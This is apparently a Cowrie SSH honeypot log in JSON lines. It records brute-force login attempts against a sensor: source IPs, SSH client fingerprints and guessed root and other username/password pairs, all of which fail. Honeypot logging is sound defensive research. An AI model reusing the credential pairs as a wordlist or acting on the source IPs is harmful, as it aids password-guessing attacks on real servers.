{"eventid":"cowrie.login.failed","username":"root","password":"london","message":"login attempt [root/london] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:33.087827Z","src_ip":"62.133.63.178","session":"4f2e70cde022","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:34.216707Z","src_ip":"62.133.63.178","session":"4f2e70cde022","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":33156,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b39ae6a4289","protocol":"ssh","message":"New connection: 80.94.92.184:33156 (159.203.135.109:22) [session: 0b39ae6a4289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:36.082951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:36.106287Z","src_ip":"80.94.92.184","session":"0b39ae6a4289","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:36.335611Z","src_ip":"80.94.92.184","session":"0b39ae6a4289","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345","message":"login attempt [solv/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:37.256335Z","src_ip":"80.94.92.184","session":"0b39ae6a4289","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:38.416855Z","src_ip":"80.94.92.184","session":"0b39ae6a4289","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":34574,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9de00663299","protocol":"ssh","message":"New connection: 89.108.118.91:34574 (10.17.0.5:22) [session: c9de00663299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:46.821624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:46.826885Z","src_ip":"89.108.118.91","session":"c9de00663299","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:46.967328Z","src_ip":"89.108.118.91","session":"c9de00663299","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:47.378971Z","src_ip":"89.108.118.91","session":"c9de00663299","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:41:48.518981Z","src_ip":"89.108.118.91","session":"c9de00663299","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":34494,"dst_ip":"10.17.0.5","dst_port":22,"session":"95c78de42fcd","protocol":"ssh","message":"New connection: 103.75.182.198:34494 (10.17.0.5:22) [session: 95c78de42fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:42:35.517357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:42:35.522797Z","src_ip":"103.75.182.198","session":"95c78de42fcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:42:35.768622Z","src_ip":"103.75.182.198","session":"95c78de42fcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer","message":"login attempt [root/qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:42:36.515796Z","src_ip":"103.75.182.198","session":"95c78de42fcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:42:37.762868Z","src_ip":"103.75.182.198","session":"95c78de42fcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":51617,"dst_ip":"10.17.0.5","dst_port":22,"session":"c784532e526e","protocol":"ssh","message":"New connection: 152.42.212.128:51617 (10.17.0.5:22) [session: c784532e526e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:43:28.813760Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:43:28.818115Z","src_ip":"152.42.212.128","session":"c784532e526e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:43:28.821807Z","src_ip":"152.42.212.128","session":"c784532e526e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":35896,"dst_ip":"159.203.135.109","dst_port":22,"session":"45bee581a0da","protocol":"ssh","message":"New connection: 176.32.39.21:35896 (159.203.135.109:22) [session: 45bee581a0da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:43:53.540403Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":35882,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f4c0179cfda","protocol":"ssh","message":"New connection: 80.94.92.184:35882 (159.203.135.109:22) [session: 4f4c0179cfda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:44:18.346313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:44:18.501579Z","src_ip":"80.94.92.184","session":"4f4c0179cfda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:44:18.504816Z","src_ip":"80.94.92.184","session":"4f4c0179cfda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12","message":"login attempt [solv/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:44:19.498382Z","src_ip":"80.94.92.184","session":"4f4c0179cfda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:44:21.835530Z","src_ip":"80.94.92.184","session":"4f4c0179cfda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":49240,"dst_ip":"10.17.0.5","dst_port":22,"session":"995b40638270","protocol":"ssh","message":"New connection: 103.149.170.125:49240 (10.17.0.5:22) [session: 995b40638270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:44:44.729338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:44:44.734264Z","src_ip":"103.149.170.125","session":"995b40638270","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:44:45.017298Z","src_ip":"103.149.170.125","session":"995b40638270","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:44:45.867559Z","src_ip":"103.149.170.125","session":"995b40638270","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:44:47.153895Z","src_ip":"103.149.170.125","session":"995b40638270","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":55104,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea640baed149","protocol":"ssh","message":"New connection: 103.172.78.219:55104 (10.17.0.5:22) [session: ea640baed149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:45:03.637540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:45:03.645729Z","src_ip":"103.172.78.219","session":"ea640baed149","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:45:03.911907Z","src_ip":"103.172.78.219","session":"ea640baed149","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fucker","message":"login attempt [root/fucker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:45:04.686405Z","src_ip":"103.172.78.219","session":"ea640baed149","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:45:05.947996Z","src_ip":"103.172.78.219","session":"ea640baed149","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":56772,"dst_ip":"159.203.135.109","dst_port":22,"session":"26f87274871a","protocol":"ssh","message":"New connection: 103.77.242.62:56772 (159.203.135.109:22) [session: 26f87274871a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:45:39.264569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:45:39.269422Z","src_ip":"103.77.242.62","session":"26f87274871a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:45:39.511851Z","src_ip":"103.77.242.62","session":"26f87274871a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"biblio","message":"login attempt [root/biblio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:45:40.235790Z","src_ip":"103.77.242.62","session":"26f87274871a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:45:41.479882Z","src_ip":"103.77.242.62","session":"26f87274871a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":39788,"dst_ip":"159.203.135.109","dst_port":22,"session":"350840624822","protocol":"ssh","message":"New connection: 103.27.238.120:39788 (159.203.135.109:22) [session: 350840624822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:45:42.974077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:45:42.978260Z","src_ip":"103.27.238.120","session":"350840624822","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:45:43.237178Z","src_ip":"103.27.238.120","session":"350840624822","protocol":"ssh"}
